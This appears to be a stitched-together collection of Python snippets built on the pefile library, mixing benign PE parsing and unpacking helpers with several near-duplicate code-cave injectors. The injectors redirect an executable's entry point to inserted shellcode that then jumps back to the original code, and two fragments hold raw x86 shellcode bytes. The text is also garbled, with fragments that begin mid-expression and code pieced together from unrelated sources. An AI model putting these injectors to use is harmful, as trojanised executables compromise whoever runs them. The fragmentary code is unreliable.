def get_icon_group(pe_file: pefile.PE,
data_entry: pefile.Structure) -> Optional[list]:
try:
data_rva = data_entry.OffsetToData
size = data_entry.Size
data = pe_file.get_memory_mapped_image()[data_rva:data_rva + size]
file_offset = pe_file.get_offset_from_rva(data_rva)
grp_icon_dir = pefile.Structure(GRPICONDIR_format,
file_offset=file_offset)
grp_icon_dir.__unpack__(data)
if grp_icon_dir.Reserved == 0 or grp_icon_dir.Type == 1:
offset = grp_icon_dir.sizeof()
entries = list()
for idx in range(0, grp_icon_dir.Count):
grp_icon = pefile.Structure(GRPICONDIRENTRY_format,
file_offset=file_offset + offset)
grp_icon.__unpack__(data[offset:])
offset += grp_icon.sizeof()
entries.append(grp_icon)
return entries
except pefile.PEFormatError:
pass
return None
def _get_buffer_range_pe(self, pe: PEFile, address: int):
base = pe.OPTIONAL_HEADER.ImageBase
addr = self._rebase(address, base) - base
offset = pe.get_offset_from_rva(addr)
for section in pe.sections:
if offset in range(
section.PointerToRawData,
section.PointerToRawData + section.SizeOfRawData):
return offset, section.PointerToRawData + section.SizeOfRawData
raise CompartmentNotFound(address, 'section')
def main(exe_file, shellcode):
if not (os.path.isfile(exe_file)):
print(
"\nExecutable file cant detected ! \n Please try with full path.\n"
)
return False
shellcode = shellcode.replace("\\x", "").decode("hex")
pe = PE(exe_file)
OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
align = pe.OPTIONAL_HEADER.SectionAlignment
what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize
) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
padd = align - (end_rva % align)
e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
scode_size = len(shellcode) + 7
if padd < scode_size:
print("\nEnough space is not available for shellcode")
print("Available codecave len : {0} \n").format(covecavelenght(pe))
return False
else:
scode_end_off = e_offset
scode_start_off = scode_end_off - scode_size
pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(
scode_start_off)
raw_pe_data = pe.write()
jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
shellcode = '\x60%s\x61\xe9%s' % (shellcode,
pack('I', jmp_to & 0xffffffff))
final_data = list(raw_pe_data)
final_data[scode_start_off:scode_start_off +
len(shellcode)] = shellcode
final_data = ''.join(final_data)
raw_pe_data = final_data
pe.close()
while True:
final_pe_file = "{0}".format(str(randint(0, 999999999)))
if not os.path.isfile(final_pe_file):
break
new_file = open(final_pe_file, 'wb')
new_file.write(raw_pe_data)
new_file.close()
print("\nNew file : {0} saved !").format(final_pe_file)
print('[*] Job Done! :)')
def _pesize(self, pe: PE) -> int:
overlay = pe.get_overlay_data_start_offset() or 0
maxaddr = max(s.PointerToRawData + s.SizeOfRawData
for s in pe.sections)
maxdata = max(
pe.get_offset_from_rva(d.VirtualAddress) + d.Size
for d in pe.OPTIONAL_HEADER.DATA_DIRECTORY)
# The certificate overlay is given as a file offset
# rather than a virtual address.
cert = pe.OPTIONAL_HEADER.DATA_DIRECTORY[
DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY']]
certend = cert.VirtualAddress + cert.Size
self.log_debug(F'overlay at 0x{overlay:08X}')
self.log_debug(F'maxaddr at 0x{maxaddr:08X}')
self.log_debug(F'maxdata at 0x{maxdata:08X}')
self.log_debug(F'certend at 0x{certend:08X}')
return max(overlay, maxaddr, maxdata, certend)
def inject():
class NotEnoughSize(Exception):
pass
exe_file = res.BINARY
final_pe_file = '{}_injected'.format(res.BINARY)
shellcode = scode
pe = PE(exe_file)
OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
pe_sections = pe.get_section_by_rva(
pe.OPTIONAL_HEADER.AddressOfEntryPoint)
align = pe.OPTIONAL_HEADER.SectionAlignment
what_left = (pe_sections.VirtualAddress +
pe_sections.Misc_VirtualSize
) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
padd = align - (end_rva % align)
e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
scode_size = len(shellcode) + 7
if padd < scode_size:
summary.append(
logs.err('Not enough size for shellcode injection',
prnt=False))
else:
#logs.good('Found {} bytes of empty space'.format(padd))
scode_end_off = e_offset
scode_start_off = scode_end_off - scode_size
pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(
scode_start_off)
raw_pe_data = pe.write()
jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
pusha = '\x60'
popa = '\x61'
shellcode = '%s%s%s\xe9%s' % (pusha, shellcode, popa,
pack('I', jmp_to & 0xffffffff))
final_data = list(raw_pe_data)
final_data[scode_start_off:scode_start_off +
len(shellcode)] = shellcode
final_data = ''.join(final_data)
raw_pe_data = final_data
pe.close()
new_file = open(final_pe_file, 'wb')
new_file.write(raw_pe_data)
new_file.close()
summary.append(
logs.good('Succesfully injected shellcode', prnt=False))
def main( exe_file, shellcode):
if not (os.path.isfile( exe_file)):
print("\nExecutable file cant detected ! \n Please try with full path.\n")
return False
shellcode = shellcode.replace("\\x", "").decode("hex")
pe = PE(exe_file)
OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
align = pe.OPTIONAL_HEADER.SectionAlignment
what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
padd = align - (end_rva % align)
e_offset = pe.get_offset_from_rva(end_rva+padd) - 1
scode_size = len(shellcode)+7
if padd < scode_size:
print("\nEnough space is not available for shellcode")
print("Available codecave len : {0} \n").format( covecavelenght( pe))
return False
else:
scode_end_off = e_offset
scode_start_off = scode_end_off - scode_size
pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
raw_pe_data = pe.write()
jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff))
final_data = list(raw_pe_data)
final_data[scode_start_off:scode_start_off+len(shellcode)] = shellcode
final_data = ''.join(final_data)
raw_pe_data = final_data
pe.close()
while True:
final_pe_file = "{0}".format(str(randint(0, 999999999)))
if not os.path.isfile(final_pe_file):
break
new_file = open(final_pe_file, 'wb')
new_file.write(raw_pe_data)
new_file.close()
print ("\nNew file : {0} saved !").format( final_pe_file)
print ('[*] Job Done! :)')
class PEFile(ExecutableFormat):
bitnessMapping = None
@classmethod
def initClass(cls) -> None:
cls.bitnessMapping = {
pefile.OPTIONAL_HEADER_MAGIC_PE: 32,
pefile.OPTIONAL_HEADER_MAGIC_PE_PLUS: 64
}
def __child_enter__(self) -> None:
self.lib = PE(data=self.map)
self.bitness = self.__class__.bitnessMapping[self.lib.PE_TYPE]
@property
def imageBase(self) -> int:
return self.lib.OPTIONAL_HEADER.ImageBase
def findVA(self, name: str) -> typing.Optional[int]:
"""Gets a symbol addr from PE export table"""
name = name.encode("ascii")
for exp in self.lib.DIRECTORY_ENTRY_EXPORT.symbols:
if exp.name == name:
return exp.address + self.imageBase
def raw2Offset(self, raw: int) -> int:
return self.RVA2Offset(self.raw2RVA(raw))
def RVA2Offset(self, rva: int) -> int:
return self.lib.get_offset_from_rva(rva)
def offset2RVA(self, offset: int) -> int:
return self.lib.get_rva_from_offset(offset)
def RVA2Raw(self, RVA: int) -> int:
return self.imageBase + RVA
def raw2RVA(self, raw: int) -> int:
return raw - self.imageBase
def offset2Raw(self, offset: int) -> int:
return self.RVA2Raw(self.offset2RVA(offset))
+ "\x65\x58\x68\x61\x73\x20\x48\x68\x45\x53\x20\x57\x31\xc9"
+ "\x88\x4c\x24\x0b\x89\xe1\x31\xd2\x6a\x10\x53\x51\x52\xff"
+ "\xd0\x31\xc0\x50\xff\x55\x08"
)
if __name__ == "__main__":
exe_file = raw_input("Enter Path To Exe File ")
final_pe_file = raw_input("Enter Path To New Exe File: ")
pe = PE(exe_file)
OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
align = pe.OPTIONAL_HEADER.SectionAlignment
what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
padd = align - (end_rva % align)
e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
scode_size = len(sample_shell_code) + 7
if padd < scode_size:
# Enough space is not available for shellcode
exit()
# Code can be injected
scode_end_off = e_offset
scode_start_off = scode_end_off - scode_size
pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
raw_pe_data = pe.write()
jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
sample_shell_code = "\x60%s\x61\xe9%s" % (sample_shell_code, pack("I", jmp_to & 0xFFFFFFFF))
final_data = list(raw_pe_data)
final_data[scode_start_off : scode_start_off + len(sample_shell_code)] = sample_shell_code
final_data = "".join(final_data)
raw_pe_data = final_data
"\x61\xff\xff\xff\x68\x21\x58\x20\x20\x68\x57\x30\x30\x74" +
"\x31\xdb\x88\x5c\x24\x05\x89\xe3\x68\x65\x21\x58\x20\x68" +
"\x20\x48\x65\x72\x68\x20\x57\x61\x73\x68\x73\x69\x73\x68" +
"\x68\x44\x65\x62\x61\x31\xc9\x88\x4c\x24\x12\x89\xe1\x31" +
"\xd2\x52\x53\x51\x52\xff\xd0")
if __name__ == '__main__':
exe_file = raw_input('[*] Enter full path of the main executable :')
final_pe_file = raw_input('[*] Enter full path of the output executable :')
pe = PE(exe_file)
OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
align = pe.OPTIONAL_HEADER.SectionAlignment
what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
padd = align - (end_rva % align)
e_offset = pe.get_offset_from_rva(end_rva+padd) - 1
scode_size = len(sample_shell_code)+7
if padd < scode_size:
# Enough space is not available for shellcode
exit()
# Code can be injected
scode_end_off = e_offset
scode_start_off = scode_end_off - scode_size
pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
raw_pe_data = pe.write()
jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
sample_shell_code = '\x60%s\x61\xe9%s' % (sample_shell_code, pack('I', jmp_to & 0xffffffff))
final_data = list(raw_pe_data)
final_data[scode_start_off:scode_start_off+len(sample_shell_code)] = sample_shell_code
final_data = ''.join(final_data)
raw_pe_data = final_data
def restore_pe(file,output):
# PEfile isn't the best for this job, but we'll get it done ;)
# TODO : Recaluclate SizeOfImage to match the acutal file
from pefile import PE,OPTIONAL_HEADER_MAGIC_PE_PLUS
print('[-] Loading PE...')
pe = PE(file,fast_load=True)
PE64 = pe.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE_PLUS
pe.__data__ = bytearray(pe.__data__) # This allows us to apply slicing on the PE data
# Helpers
find_section = lambda name:next(filter(lambda x:name in x.Name,pe.sections))
find_data_directory = lambda name:next(filter(lambda x:name in x.name,pe.OPTIONAL_HEADER.DATA_DIRECTORY))
# Data
enigma1 = pe.__data__[find_section(b'.enigma1').PointerToRawData:]
hdr = unpack(EVB_ENIGMA1_HEADER,enigma1,104 if PE64 else 76)
# Restore section with built-in offsets. All these ADDRESSes are VAs
find_data_directory('IMPORT').VirtualAddress = hdr['IMPORT_ADDRESS']
find_data_directory('IMPORT').Size = hdr['IMPORT_SIZE']
find_data_directory('RELOC').VirtualAddress = hdr['RELOC_ADDRESS']
find_data_directory('RELOC').Size = hdr['RELOC_SIZE']
print('[-] Rebuilding Exception directory...')
# Rebuild the exception directory
exception_dir = find_data_directory('EXCEPTION')
exception_raw_ptr = pe.get_offset_from_rva(exception_dir.VirtualAddress)
exception_data = pe.__data__[exception_raw_ptr:exception_raw_ptr + exception_dir.Size]
exception_struct = PE64_EXCEPTION if PE64 else PE_EXCEPTION
exception_end = 0
for i in range(0,exception_dir.Size,get_size_by_struct(exception_struct)):
block = unpack(exception_struct,exception_data[i:])
block['section'] = pe.get_section_by_rva(block['BEGIN_ADDRESS'])
exception_end = i
if b'.enigma' in block['section'].Name:
break
exception_data = exception_data[:exception_end]
# Prepare partial TLS data for searching
tls_dir = find_data_directory('TLS')
tls_raw_ptr = pe.get_offset_from_rva(tls_dir.VirtualAddress)
tls_data = bytearray(pe.__data__[tls_raw_ptr:tls_raw_ptr + tls_dir.Size])
original_callback = hdr['TLS_CALLBACK_RVA'] + pe.OPTIONAL_HEADER.ImageBase
original_callback = struct.pack('<' + ('Q' if PE64 else 'I'),original_callback)
if (PE64):
tls_data += original_callback # AddressOfCallBacks
else:
tls_data[12:16] = original_callback # AddressOfCallBacks
tls_data = tls_data[:16]
# Destory .enigma* sections
pe.__data__ = pe.__data__[:find_section(b'.enigma1').PointerToRawData] + pe.__data__[find_section(b'.enigma2').PointerToRawData + find_section(b'.enigma2').SizeOfRawData:]
# If original program has a overlay, this will perserve it. Otherwise it's okay to remove them anyway.
assert pe.sections.pop().Name == b'.enigma2'
assert pe.sections.pop().Name == b'.enigma1'
pe.FILE_HEADER.NumberOfSections -= 2
# NOTE: .enigma1 contains the VFS, as well as some Optional PE Header info as descrbied above
# NOTE: .enigma2 is a aplib compressed loader DLL. You can decompress it with aplib provided in this repo
if (exception_data):
# Reassign the RVA & sizes
print('[-] Rebuilt Exception directory. Size=0x%x' % len(exception_data))
# Find where this could be placed at...since EVB clears the original exception directory listings
# PEs with overlays won't work at all if EVB packed them.
# We must remove the sections and do NOT append anything new
offset = 0
for section in pe.sections:
offset_ = pe.__data__.find(b'\x00' * len(exception_data),section.PointerToRawData, section.PointerToRawData + section.SizeOfRawData)
if offset_ > 0:
# Check for references in the Optional Data Directory
# The offset should not be referenced otherwise we would overwrite existing data
for header in pe.OPTIONAL_HEADER.DATA_DIRECTORY:
if pe.get_rva_from_offset(offset_) in range(header.VirtualAddress,header.VirtualAddress+header.Size):
offset = 0
break
else:
offset = offset_
if offset > 0:
break
assert offset > 0,"Cannot place Exceptions Directory!"
section = pe.get_section_by_rva(pe.get_rva_from_offset(offset))
print('[-] Found suitable section to place Exception Directory. Name=%s RVA=0x%x' % (section.Name.decode(),offset - section.PointerToRawData))
pe.__data__[offset:offset+len(exception_data)] = exception_data
section.SizeOfRawData = max(section.SizeOfRawData,len(exception_data))
exception_dir.VirtualAddress = pe.get_rva_from_offset(offset)
exception_dir.Size = len(exception_data)
else:
print('[-] Original program does not contain Exception Directory.')
exception_dir.VirtualAddress = 0
exception_dir.Size = 0
offset = pe.__data__.find(tls_data)
# Append the exception section and assign the pointers
# Serach for TLS in memory map since it's not removed.
tls_dir = find_data_directory('TLS')
if (offset > 0):
print('[-] TLS Directory found. Offset=0x%x' % offset)
tls_dir.VirtualAddress = pe.get_rva_from_offset(offset)
tls_dir.Size = 40 if PE64 else 24
else:
print('[-] Original program does not utilize TLS.')
tls_dir.VirtualAddress = 0
tls_dir.Size = 0
# Write to new file
pe_name = os.path.basename(file)[:-4] + ORIGINAL_PE_SUFFIX
pe_name = os.path.join(output,pe_name).replace('\\','/')
new_file_data = pe.write()
write_bytes(BytesIO(new_file_data),open(pe_name,'wb+'),len(new_file_data),desc='Saving PE')
print('[-] Original PE saved:',pe_name)
class WSHInstrumentation(object):
def __init__(self, libpath):
self.libpath = libpath
self.pe = PE(libpath)
last_section = self.pe.sections[-1]
# In case of uninitialized data at the end of section
# Not needed now, so not implemented
assert last_section.Misc_VirtualSize <= last_section.SizeOfRawData
self.last_section = last_section
# Set RWX
self.last_section.IMAGE_SCN_MEM_WRITE = True
self.last_section.IMAGE_SCN_MEM_EXECUTE = True
# Move from mmap to str
self.pe.__data__ = self.pe.__data__.read(self.pe.__data__.size())
def next_rva(self):
section = self.last_section
return section.VirtualAddress + section.SizeOfRawData
def append(self, data):
section = self.last_section
rva = self.next_rva()
section.SizeOfRawData += len(data)
section.Misc_VirtualSize = section.SizeOfRawData
self.pe.__data__ += data
return rva
def align(self, alignment, padchar='\x00'):
va = self.next_rva()
pad = (alignment - va % alignment)
self.append(pad * padchar)
def rebuild_imports(self, routines):
# Build string list
rva_winedrop_dll = self.append("winedrop.dll\x00")
rva_routine_str = []
for r in routines:
# hint (0) + name + terminator
rva_routine_str.append(self.append('\x00\x00' + r + '\x00'))
# 0x10 alignment
self.align(16)
# Build OriginalThunkList
rva_oft = self.next_rva()
for r in rva_routine_str:
self.append(p32(r))
self.append(p32(0))
# 0x10 alignment
self.align(16)
# Build ThunkList
rva_ft = self.next_rva()
rva_iat = []
for r in rva_routine_str:
rva_iat.append(self.append(p32(r)))
self.append(p32(0))
# 0x10 alignment
self.align(16)
# Copy import table entries
offs_imports = self.pe.get_offset_from_rva(
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].VirtualAddress)
rva_imports = self.next_rva()
while True:
entry = self.pe.__data__[offs_imports:offs_imports + 20]
if entry[:4] == "\x00\x00\x00\x00":
break
offs_imports += 20
self.append(entry)
# Add winedrop.dll entry
self.append(
struct.pack(
"<IIIII",
rva_oft, # OriginalFirstThunk
0, # Timestamp
0, # ForwarderChain
rva_winedrop_dll, # Name
rva_ft)) # FirstThunk
# Add import table delimiter entry
self.append("\x00" * 20)
# End of import pseudo-section
self.align(0x200)
# Fix data directory and finish!
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].VirtualAddress = rva_imports
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].Size += 20
# Fix SizeOfImage
sizeOfImage = self.last_section.VirtualAddress + self.last_section.SizeOfRawData
self.pe.OPTIONAL_HEADER.SizeOfImage = sizeOfImage + (
4096 - sizeOfImage % 4096)
# Return IAT entries for each imported routine
return rva_iat
def add_trampolines(self, iat):
"""
Assume that we're hooking function with signature "int __stdcall fn(a,b,c)".
After CALL to trampoline, stack looks like:
fn_ptr
callee_ptr
a
b
c
We will swap last two elements:
callee_ptr
fn_ptr+2
a
b
c
So now we're effectively calling "int __stdcall hook_fn(orig_ptr, a, b, c)" with callee_ptr as return address.
"""
tramp_code = ''.join([
"\x58", # pop eax
"\x83\xc0\x02", # add eax, 2
"\x87\x04\x24", # xchg [esp], eax
"\x50", # push eax
"\xe8\x00\x00\x00\x00", # call $+5
"\x58", # pop eax
"\xff\xa0" # jmp [eax+...]
])
tramp_edx = len(tramp_code) - 3
tramp_rva = []
for va in iat:
tramp_rva.append(
self.append(tramp_code + p32((va -
(self.next_rva() + tramp_edx)))))
self.align(16, '\xcc')
self.align(0x200)
return tramp_rva
def hook_patch(self, patch_va, tramp_va):
patch_offs = self.pe.get_offset_from_rva(patch_va)
# Is it "hookable" function prologue?
assert self.pe.__data__[patch_offs - 5:patch_offs +
2] == "\x90\x90\x90\x90\x90\x8B\xFF"
# Apply hook patch (jmp backwards, call to tramp_va)
data = bytearray(self.pe.__data__)
data[patch_offs - 5:patch_offs + 2] = "\xe8{}\xeb\xf9".format(
p32(tramp_va - patch_va))
self.pe.__data__ = str(data)
def write(self, fname):
self.pe.write(fname)
